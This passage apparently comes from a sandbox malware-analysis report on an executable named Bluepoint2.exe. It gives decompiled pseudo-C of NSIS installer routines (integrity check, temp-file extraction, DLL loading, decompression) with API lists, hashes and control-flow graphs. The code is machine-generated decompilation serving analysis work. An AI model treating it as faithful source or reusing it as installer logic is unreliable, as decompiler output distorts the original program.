                                                    							if((_a4 & 0x00000002) == 0) {
                                                    								E0040302E(0);
                                                    							}
                                                    							goto L20;
                                                    						}
                                                    						E00406113( &_v40, 0x418ef0, 0x1c);
                                                    						_t89 = _v40;
                                                    						__eflags = _t89 & 0xfffffff0;
                                                    						if((_t89 & 0xfffffff0) != 0) {
                                                    							goto L20;
                                                    						}
                                                    						__eflags = _v36 - 0xdeadbeef;
                                                    						if(_v36 != 0xdeadbeef) {
                                                    							goto L20;
                                                    						}
                                                    						__eflags = _v24 - 0x74736e49;
                                                    						if(_v24 != 0x74736e49) {
                                                    							goto L20;
                                                    						}
                                                    						__eflags = _v28 - 0x74666f73;
                                                    						if(_v28 != 0x74666f73) {
                                                    							goto L20;
                                                    						}
                                                    						__eflags = _v32 - 0x6c6c754e;
                                                    						if(_v32 != 0x6c6c754e) {
                                                    							goto L20;
                                                    						}
                                                    						_a4 = _a4 | _t89;
                                                    						_t104 =  *0x420ef0; // 0x23252
                                                    						 *0x42a300 =  *0x42a300 | _a4 & 0x00000002;
                                                    						_t92 = _v16;
                                                    						__eflags = _t92 - _t110;
                                                    						 *0x42a274 = _t104;
                                                    						if(_t92 > _t110) {
                                                    							goto L32;
                                                    						}
                                                    						__eflags = _a4 & 0x00000008;
                                                    						if((_a4 & 0x00000008) != 0) {
                                                    							L16:
                                                    							_v12 = _v12 + 1;
                                                    							_t110 = _t92 - 4;
                                                    							__eflags = _t107 - _t110;
                                                    							if(_t107 > _t110) {
                                                    								_t107 = _t110;
                                                    							}
                                                    							goto L20;
                                                    						}
                                                    						__eflags = _a4 & 0x00000004;
                                                    						if((_a4 & 0x00000004) != 0) {
                                                    							break;
                                                    						}
                                                    						goto L16;
                                                    						L20:
                                                    						__eflags = _t110 -  *0x420f00; // 0x230a5
                                                    						if(__eflags < 0) {
                                                    							_v8 = E00406B22(_v8, 0x418ef0, _t107);
                                                    						}
                                                    						 *0x420ef0 =  *0x420ef0 + _t107;
                                                    						_t110 = _t110 - _t107;
                                                    						__eflags = _t110;
                                                    					} while (_t110 != 0);
                                                    					_t94 = 0;
                                                    					__eflags = 0;
                                                    					goto L24;
                                                    				}
                                                    			}
































                                                    0x004030db
                                                    0x004030de
                                                    0x004030e1
                                                    0x004030fb
                                                    0x00403100
                                                    0x00403113
                                                    0x00403118
                                                    0x0040311e
                                                    0x00000000
                                                    0x00403120
                                                    0x00403131
                                                    0x00403142
                                                    0x00403149
                                                    0x0040314f
                                                    0x00403151
                                                    0x00403156
                                                    0x00403158
                                                    0x00403243
                                                    0x00403245
                                                    0x0040324a
                                                    0x00403251
                                                    0x00000000
                                                    0x00000000
                                                    0x00403257
                                                    0x0040325a
                                                    0x00403286
                                                    0x0040328b
                                                    0x00403296
                                                    0x00403298
                                                    0x004032a9
                                                    0x004032c4
                                                    0x004032ca
                                                    0x004032cd
                                                    0x004032d2
                                                    0x004032f1
                                                    0x00403301
                                                    0x00403313
                                                    0x00403318
                                                    0x0040331d
                                                    0x00403320
                                                    0x00403329
                                                    0x0040332d
                                                    0x00403335
                                                    0x0040333a
                                                    0x0040333c
                                                    0x0040333c
                                                    0x0040333c
                                                    0x00403344
                                                    0x00403344
                                                    0x00403347
                                                    0x00403348
                                                    0x00403348
                                                    0x0040334b
                                                    0x0040334d
                                                    0x0040334d
                                                    0x0040334d
                                                    0x00403350
                                                    0x00403357
                                                    0x00403363
                                                    0x00403368
                                                    0x00000000
                                                    0x00403368
                                                    0x00000000
                                                    0x00403320
                                                    0x00000000
                                                    0x004032d4
                                                    0x00403262
                                                    0x0040326d
                                                    0x00403272
                                                    0x00403274
                                                    0x00000000
                                                    0x00000000
                                                    0x0040327d
                                                    0x00403280
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040315e
                                                    0x00403163
                                                    0x00403168
                                                    0x0040316c
                                                    0x00403173
                                                    0x00403178
                                                    0x0040317a
                                                    0x0040317c
                                                    0x0040317c
                                                    0x00403180
                                                    0x00403185
                                                    0x00403187
                                                    0x004032e0
                                                    0x00403322
                                                    0x00000000
                                                    0x00403322
                                                    0x0040318d
                                                    0x00403194
                                                    0x00403210
                                                    0x00403214
                                                    0x00403218
                                                    0x0040321d
                                                    0x00000000
                                                    0x00403214
                                                    0x0040319d
                                                    0x004031a2
                                                    0x004031a5
                                                    0x004031aa
                                                    0x00000000
                                                    0x00000000
                                                    0x004031ac
                                                    0x004031b3
                                                    0x00000000
                                                    0x00000000
                                                    0x004031b5
                                                    0x004031bc
                                                    0x00000000
                                                    0x00000000
                                                    0x004031be
                                                    0x004031c5
                                                    0x00000000
                                                    0x00000000
                                                    0x004031c7
                                                    0x004031ce
                                                    0x00000000
                                                    0x00000000
                                                    0x004031d0
                                                    0x004031d6
                                                    0x004031df
                                                    0x004031e5
                                                    0x004031e8
                                                    0x004031ea
                                                    0x004031f0
                                                    0x00000000
                                                    0x00000000
                                                    0x004031f6
                                                    0x004031fa
                                                    0x00403202
                                                    0x00403202
                                                    0x00403205
                                                    0x00403208
                                                    0x0040320a
                                                    0x0040320c
                                                    0x0040320c
                                                    0x00000000
                                                    0x0040320a
                                                    0x004031fc
                                                    0x00403200
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040321e
                                                    0x0040321e
                                                    0x00403224
                                                    0x00403230
                                                    0x00403230
                                                    0x00403233
                                                    0x00403239
                                                    0x00403239
                                                    0x00403239
                                                    0x00403241
                                                    0x00403241
                                                    0x00000000
                                                    0x00403241

                                                    APIs
                                                    • GetTickCount.KERNEL32 ref: 004030E4
                                                    • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Bluepoint2.exe,00000400), ref: 00403100
                                                      • Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Bluepoint2.exe,80000000,00000003), ref: 0040615C
                                                      • Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E
                                                    • GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\Desktop\Bluepoint2.exe,C:\Users\user\Desktop\Bluepoint2.exe,80000000,00000003), ref: 00403149
                                                    • GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328B
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                                                    • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\Bluepoint2.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                                    • API String ID: 2803837635-1911159635
                                                    • Opcode ID: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
                                                    • Instruction ID: 6a7077609e6cbe8902eef3654a796be60faa9129f620d49927b75729aeb44cd1
                                                    • Opcode Fuzzy Hash: 0724999653b3e73eed60d379075ff5ac069807c872a81a0186dc1bcbf61f2663
                                                    • Instruction Fuzzy Hash: 74710271A40204ABDB20DFB5DD85B9E3AACAB04315F21457FF901B72D2CB789E418B6D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 805 40176f-401794 call 402da6 call 405fae 810 401796-40179c call 406668 805->810 811 40179e-4017b0 call 406668 call 405f37 lstrcatW 805->811 816 4017b5-4017b6 call 4068ef 810->816 811->816 820 4017bb-4017bf 816->820 821 4017c1-4017cb call 40699e 820->821 822 4017f2-4017f5 820->822 830 4017dd-4017ef 821->830 831 4017cd-4017db CompareFileTime 821->831 823 4017f7-4017f8 call 406133 822->823 824 4017fd-401819 call 406158 822->824 823->824 832 40181b-40181e 824->832 833 40188d-4018b6 call 4056ca call 403371 824->833 830->822 831->830 834 401820-40185e call 406668 * 2 call 4066a5 call 406668 call 405cc8 832->834 835 40186f-401879 call 4056ca 832->835 845 4018b8-4018bc 833->845 846 4018be-4018ca SetFileTime 833->846 834->820 867 401864-401865 834->867 847 401882-401888 835->847 845->846 849 4018d0-4018db FindCloseChangeNotification 845->849 846->849 850 402c33 847->850 853 4018e1-4018e4 849->853 854 402c2a-402c2d 849->854 852 402c35-402c39 850->852 856 4018e6-4018f7 call 4066a5 lstrcatW 853->856 857 4018f9-4018fc call 4066a5 853->857 854->850 864 401901-402398 856->864 857->864 868 40239d-4023a2 864->868 869 402398 call 405cc8 864->869 867->847 870 401867-401868 867->870 868->852 869->868 870->835
                                                    C-Code - Quality: 77%
                                                    			E0040176F(FILETIME* __ebx, void* __eflags) {
                                                    				void* __esi;
                                                    				void* _t35;
                                                    				void* _t43;
                                                    				void* _t45;
                                                    				FILETIME* _t51;
                                                    				FILETIME* _t64;
                                                    				void* _t66;
                                                    				signed int _t72;
                                                    				FILETIME* _t73;
                                                    				FILETIME* _t77;
                                                    				signed int _t79;
                                                    				WCHAR* _t81;
                                                    				void* _t83;
                                                    				void* _t84;
                                                    				void* _t86;
                                                    
                                                    				_t77 = __ebx;
                                                    				 *(_t86 - 8) = E00402DA6(0x31);
                                                    				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
                                                    				_t35 = E00405FAE( *(_t86 - 8));
                                                    				_push( *(_t86 - 8));
                                                    				_t81 = L"Call";
                                                    				if(_t35 == 0) {
                                                    					lstrcatW(E00405F37(E00406668(_t81, 0x436000)), ??);
                                                    				} else {
                                                    					E00406668();
                                                    				}
                                                    				E004068EF(_t81);
                                                    				while(1) {
                                                    					__eflags =  *(_t86 + 8) - 3;
                                                    					if( *(_t86 + 8) >= 3) {
                                                    						_t66 = E0040699E(_t81);
                                                    						_t79 = 0;
                                                    						__eflags = _t66 - _t77;
                                                    						if(_t66 != _t77) {
                                                    							_t73 = _t66 + 0x14;
                                                    							__eflags = _t73;
                                                    							_t79 = CompareFileTime(_t73, _t86 - 0x24);
                                                    						}
                                                    						asm("sbb eax, eax");
                                                    						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
                                                    						__eflags = _t72;
                                                    						 *(_t86 + 8) = _t72;
                                                    					}
                                                    					__eflags =  *(_t86 + 8) - _t77;
                                                    					if( *(_t86 + 8) == _t77) {
                                                    						E00406133(_t81);
                                                    					}
                                                    					__eflags =  *(_t86 + 8) - 1;
                                                    					_t43 = E00406158(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
                                                    					__eflags = _t43 - 0xffffffff;
                                                    					 *(_t86 - 0x38) = _t43;
                                                    					if(_t43 != 0xffffffff) {
                                                    						break;
                                                    					}
                                                    					__eflags =  *(_t86 + 8) - _t77;
                                                    					if( *(_t86 + 8) != _t77) {
                                                    						E004056CA(0xffffffe2,  *(_t86 - 8));
                                                    						__eflags =  *(_t86 + 8) - 2;
                                                    						if(__eflags == 0) {
                                                    							 *((intOrPtr*)(_t86 - 4)) = 1;
                                                    						}
                                                    						L31:
                                                    						 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t86 - 4));
                                                    						__eflags =  *0x42a2e8;
                                                    						goto L32;
                                                    					} else {
                                                    						E00406668("C:\Users\engineer\AppData\Local\Temp\nsg1F62.tmp", _t83);
                                                    						E00406668(_t83, _t81);
                                                    						E004066A5(_t77, _t81, _t83, "C:\Users\engineer\AppData\Local\Temp\nsg1F62.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x1c)));
                                                    						E00406668(_t83, "C:\Users\engineer\AppData\Local\Temp\nsg1F62.tmp");
                                                    						_t64 = E00405CC8("C:\Users\engineer\AppData\Local\Temp\nsg1F62.tmp\System.dll",  *(_t86 - 0x30) >> 3) - 4;
                                                    						__eflags = _t64;
                                                    						if(_t64 == 0) {
                                                    							continue;
                                                    						} else {
                                                    							__eflags = _t64 == 1;
                                                    							if(_t64 == 1) {
                                                    								 *0x42a2e8 =  &( *0x42a2e8->dwLowDateTime);
                                                    								L32:
                                                    								_t51 = 0;
                                                    								__eflags = 0;
                                                    							} else {
                                                    								_push(_t81);
                                                    								_push(0xfffffffa);
                                                    								E004056CA();
                                                    								L29:
                                                    								_t51 = 0x7fffffff;
                                                    							}
                                                    						}
                                                    					}
                                                    					L33:
                                                    					return _t51;
                                                    				}
                                                    				E004056CA(0xffffffea,  *(_t86 - 8));
                                                    				 *0x42a314 =  *0x42a314 + 1;
                                                    				_t45 = E00403371(_t79,  *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
                                                    				 *0x42a314 =  *0x42a314 - 1;
                                                    				__eflags =  *(_t86 - 0x24) - 0xffffffff;
                                                    				_t84 = _t45;
                                                    				if( *(_t86 - 0x24) != 0xffffffff) {
                                                    					L22:
                                                    					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
                                                    				} else {
                                                    					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
                                                    					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
                                                    						goto L22;
                                                    					}
                                                    				}
                                                    				FindCloseChangeNotification( *(_t86 - 0x38)); // executed
                                                    				__eflags = _t84 - _t77;
                                                    				if(_t84 >= _t77) {
                                                    					goto L31;
                                                    				} else {
                                                    					__eflags = _t84 - 0xfffffffe;
                                                    					if(_t84 != 0xfffffffe) {
                                                    						E004066A5(_t77, _t81, _t84, _t81, 0xffffffee);
                                                    					} else {
                                                    						E004066A5(_t77, _t81, _t84, _t81, 0xffffffe9);
                                                    						lstrcatW(_t81,  *(_t86 - 8));
                                                    					}
                                                    					_push(0x200010);
                                                    					_push(_t81);
                                                    					E00405CC8();
                                                    					goto L29;
                                                    				}
                                                    				goto L33;
                                                    			}


















                                                    0x0040176f
                                                    0x00401776
                                                    0x00401782
                                                    0x00401785
                                                    0x0040178a
                                                    0x0040178d
                                                    0x00401794
                                                    0x004017b0
                                                    0x00401796
                                                    0x00401797
                                                    0x00401797
                                                    0x004017b6
                                                    0x004017bb
                                                    0x004017bb
                                                    0x004017bf
                                                    0x004017c2
                                                    0x004017c7
                                                    0x004017c9
                                                    0x004017cb
                                                    0x004017d0
                                                    0x004017d0
                                                    0x004017db
                                                    0x004017db
                                                    0x004017ec
                                                    0x004017ee
                                                    0x004017ee
                                                    0x004017ef
                                                    0x004017ef
                                                    0x004017f2
                                                    0x004017f5
                                                    0x004017f8
                                                    0x004017f8
                                                    0x004017ff
                                                    0x0040180e
                                                    0x00401813
                                                    0x00401816
                                                    0x00401819
                                                    0x00000000
                                                    0x00000000
                                                    0x0040181b
                                                    0x0040181e
                                                    0x00401874
                                                    0x00401879
                                                    0x004015b6
                                                    0x0040292e
                                                    0x0040292e
                                                    0x00402c2a
                                                    0x00402c2d
                                                    0x00402c2d
                                                    0x00000000
                                                    0x00401820
                                                    0x00401826
                                                    0x0040182d
                                                    0x0040183a
                                                    0x00401845
                                                    0x0040185b
                                                    0x0040185b
                                                    0x0040185e
                                                    0x00000000
                                                    0x00401864
                                                    0x00401864
                                                    0x00401865
                                                    0x00401882
                                                    0x00402c33
                                                    0x00402c33
                                                    0x00402c33
                                                    0x00401867
                                                    0x00401867
                                                    0x00401868
                                                    0x00401493
                                                    0x0040239d
                                                    0x0040239d
                                                    0x0040239d
                                                    0x00401865
                                                    0x0040185e
                                                    0x00402c35
                                                    0x00402c39
                                                    0x00402c39
                                                    0x00401892
                                                    0x00401897
                                                    0x004018a5
                                                    0x004018aa
                                                    0x004018b0
                                                    0x004018b4
                                                    0x004018b6
                                                    0x004018be
                                                    0x004018ca
                                                    0x004018b8
                                                    0x004018b8
                                                    0x004018bc
                                                    0x00000000
                                                    0x00000000
                                                    0x004018bc
                                                    0x004018d3
                                                    0x004018d9
                                                    0x004018db
                                                    0x00000000
                                                    0x004018e1
                                                    0x004018e1
                                                    0x004018e4
                                                    0x004018fc
                                                    0x004018e6
                                                    0x004018e9
                                                    0x004018f2
                                                    0x004018f2
                                                    0x00401901
                                                    0x00401906
                                                    0x00402398
                                                    0x00000000
                                                    0x00402398
                                                    0x00000000

                                                    APIs
                                                    • lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
                                                    • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00436000,?,?,00000031), ref: 004017D5
                                                      • Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675
                                                      • Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
                                                      • Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
                                                      • Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
                                                      • Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                    • String ID: C:\Users\user\AppData\Local\Temp\nsg1F62.tmp$C:\Users\user\AppData\Local\Temp\nsg1F62.tmp\System.dll$Call
                                                    • API String ID: 1941528284-435840288
                                                    • Opcode ID: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
                                                    • Instruction ID: 87dd38174d63fc88252c3cacf76d35d2aef1a13c6195c1d88e2760da23471212
                                                    • Opcode Fuzzy Hash: 453958bc0cd1b2dd253e880fcd992b37c005c95db4a67daf6dea3c0e9c97f409
                                                    • Instruction Fuzzy Hash: DE41B771500205BACF10BBB5CD85DAE7A75EF45328B20473FF422B21E1D63D89619A2E
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 871 4069c5-4069e5 GetSystemDirectoryW 872 4069e7 871->872 873 4069e9-4069eb 871->873 872->873 874 4069fc-4069fe 873->874 875 4069ed-4069f6 873->875 877 4069ff-406a32 wsprintfW LoadLibraryExW 874->877 875->874 876 4069f8-4069fa 875->876 876->877
                                                    C-Code - Quality: 100%
                                                    			E004069C5(intOrPtr _a4) {
                                                    				short _v576;
                                                    				signed int _t13;
                                                    				struct HINSTANCE__* _t17;
                                                    				signed int _t19;
                                                    				void* _t24;
                                                    
                                                    				_t13 = GetSystemDirectoryW( &_v576, 0x104);
                                                    				if(_t13 > 0x104) {
                                                    					_t13 = 0;
                                                    				}
                                                    				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
                                                    					_t19 = 1;
                                                    				} else {
                                                    					_t19 = 0;
                                                    				}
                                                    				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
                                                    				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
                                                    				return _t17;
                                                    			}








                                                    0x004069dc
                                                    0x004069e5
                                                    0x004069e7
                                                    0x004069e7
                                                    0x004069eb
                                                    0x004069fe
                                                    0x004069f8
                                                    0x004069f8
                                                    0x004069f8
                                                    0x00406a17
                                                    0x00406a2b
                                                    0x00406a32

                                                    APIs
                                                    • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
                                                    • wsprintfW.USER32 ref: 00406A17
                                                    • LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: DirectoryLibraryLoadSystemwsprintf
                                                    • String ID: %s%S.dll$UXTHEME$\
                                                    • API String ID: 2200240437-1946221925
                                                    • Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
                                                    • Instruction ID: e2ac2e7087162e0187f8b4d6776822ec24d6e31928394cf94a41c199a4feb156
                                                    • Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
                                                    • Instruction Fuzzy Hash: 3AF096B154121DA7DB14AB68DD0EF9B366CAB00705F11447EA646F20E0EB7CDA68CB98
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 878 406bb0-406bd3 879 406bd5-406bd8 878->879 880 406bdd-406be0 878->880 881 4075fd-407601 879->881 882 406be3-406bec 880->882 883 406bf2 882->883 884 4075fa 882->884 885 406bf9-406bfd 883->885 886 406d39-4073e0 883->886 887 406c9e-406ca2 883->887 888 406d0e-406d12 883->888 884->881 891 406c03-406c10 885->891 892 4075e5-4075f8 885->892 896 4073e2-4073f8 886->896 897 4073fa-407410 886->897 889 406ca8-406cc1 887->889 890 40754e-407558 887->890 893 406d18-406d2c 888->893 894 40755d-407567 888->894 898 406cc4-406cc8 889->898 890->892 891->884 899 406c16-406c5c 891->899 892->881 900 406d2f-406d37 893->900 894->892 901 407413-40741a 896->901 897->901 898->887 902 406cca-406cd0 898->902 903 406c84-406c86 899->903 904 406c5e-406c62 899->904 900->886 900->888 905 407441-40744d 901->905 906 40741c-407420 901->906 907 406cd2-406cd9 902->907 908 406cfa-406d0c 902->908 911 406c94-406c9c 903->911 912 406c88-406c92 903->912 909 406c64-406c67 GlobalFree 904->909 910 406c6d-406c7b GlobalAlloc 904->910 905->882 913 407426-40743e 906->913 914 4075cf-4075d9 906->914 916 406ce4-406cf4 GlobalAlloc 907->916 917 406cdb-406cde GlobalFree 907->917 908->900 909->910 910->884 918 406c81 910->918 911->898 912->911 912->912 913->905 914->892 916->884 916->908 917->916 918->903
                                                    C-Code - Quality: 98%
                                                    			E00406BB0(void* __ecx) {
                                                    				void* _v8;
                                                    				void* _v12;
                                                    				signed int _v16;
                                                    				unsigned int _v20;
                                                    				signed int _v24;
                                                    				signed int _v28;
                                                    				signed int _v32;
                                                    				signed int _v36;
                                                    				signed int _v40;
                                                    				signed int _v44;
                                                    				signed int _v48;
                                                    				signed int _v52;
                                                    				signed int _v56;
                                                    				signed int _v60;
                                                    				signed int _v64;
                                                    				signed int _v68;
                                                    				signed int _v72;
                                                    				signed int _v76;
                                                    				signed int _v80;
                                                    				signed int _v84;
                                                    				signed int _v88;
                                                    				signed int _v92;
                                                    				signed int _v95;
                                                    				signed int _v96;
                                                    				signed int _v100;
                                                    				signed int _v104;
                                                    				signed int _v108;
                                                    				signed int _v112;
                                                    				signed int _v116;
                                                    				signed int _v120;
                                                    				intOrPtr _v124;
                                                    				signed int _v128;
                                                    				signed int _v132;
                                                    				signed int _v136;
                                                    				void _v140;
                                                    				void* _v148;
                                                    				signed int _t537;
                                                    				signed int _t538;
                                                    				signed int _t572;
                                                    
                                                    				_t572 = 0x22;
                                                    				_v148 = __ecx;
                                                    				memcpy( &_v140, __ecx, _t572 << 2);
                                                    				if(_v52 == 0xffffffff) {
                                                    					return 1;
                                                    				}
                                                    				while(1) {
                                                    					L3:
                                                    					_t537 = _v140;
                                                    					if(_t537 > 0x1c) {
                                                    						break;
                                                    					}
                                                    					switch( *((intOrPtr*)(_t537 * 4 +  &M00407602))) {
                                                    						case 0:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								goto L173;
                                                    							}
                                                    							_v112 = _v112 - 1;
                                                    							_v116 = _v116 + 1;
                                                    							_t537 =  *_v116;
                                                    							__eflags = _t537 - 0xe1;
                                                    							if(_t537 > 0xe1) {
                                                    								goto L174;
                                                    							}
                                                    							_t542 = _t537 & 0x000000ff;
                                                    							_push(0x2d);
                                                    							asm("cdq");
                                                    							_pop(_t576);
                                                    							_push(9);
                                                    							_pop(_t577);
                                                    							_t622 = _t542 / _t576;
                                                    							_t544 = _t542 % _t576 & 0x000000ff;
                                                    							asm("cdq");
                                                    							_t617 = _t544 % _t577 & 0x000000ff;
                                                    							_v64 = _t617;
                                                    							_v32 = (1 << _t622) - 1;
                                                    							_v28 = (1 << _t544 / _t577) - 1;
                                                    							_t625 = (0x300 << _t617 + _t622) + 0x736;
                                                    							__eflags = 0x600 - _v124;
                                                    							if(0x600 == _v124) {
                                                    								L12:
                                                    								__eflags = _t625;
                                                    								if(_t625 == 0) {
                                                    									L14:
                                                    									_v76 = _v76 & 0x00000000;
                                                    									_v68 = _v68 & 0x00000000;
                                                    									goto L17;
                                                    								} else {
                                                    									goto L13;
                                                    								}
                                                    								do {
                                                    									L13:
                                                    									_t625 = _t625 - 1;
                                                    									__eflags = _t625;
                                                    									 *((short*)(_v8 + _t625 * 2)) = 0x400;
                                                    								} while (_t625 != 0);
                                                    								goto L14;
                                                    							}
                                                    							__eflags = _v8;
                                                    							if(_v8 != 0) {
                                                    								GlobalFree(_v8);
                                                    							}
                                                    							_t537 = GlobalAlloc(0x40, 0x600); // executed
                                                    							__eflags = _t537;
                                                    							_v8 = _t537;
                                                    							if(_t537 == 0) {
                                                    								goto L174;
                                                    							} else {
                                                    								_v124 = 0x600;
                                                    								goto L12;
                                                    							}
                                                    						case 1:
                                                    							L15:
                                                    							__eflags = _v112;
                                                    							if(_v112 == 0) {
                                                    								_v140 = 1;
                                                    								goto L173;
                                                    							}
                                                    							_v112 = _v112 - 1;
                                                    							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
                                                    							_v116 = _v116 + 1;
                                                    							_t50 =  &_v76;
                                                    							 *_t50 = _v76 + 1;
                                                    							__eflags =  *_t50;
                                                    							L17:
                                                    							__eflags = _v76 - 4;
                                                    							if(_v76 < 4) {
                                                    								goto L15;
                                                    							}
                                                    							_t550 = _v68;
                                                    							__eflags = _t550 - _v120;
                                                    							if(_t550 == _v120) {
                                                    								L22:
                                                    								_v76 = 5;
                                                    								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
                                                    								goto L25;
                                                    							}
                                                    							__eflags = _v12;
                                                    							_v120 = _t550;
                                                    							if(_v12 != 0) {
                                                    								GlobalFree(_v12);
                                                    							}
                                                    							_t537 = GlobalAlloc(0x40, _v68); // executed
                                                    							__eflags = _t537;
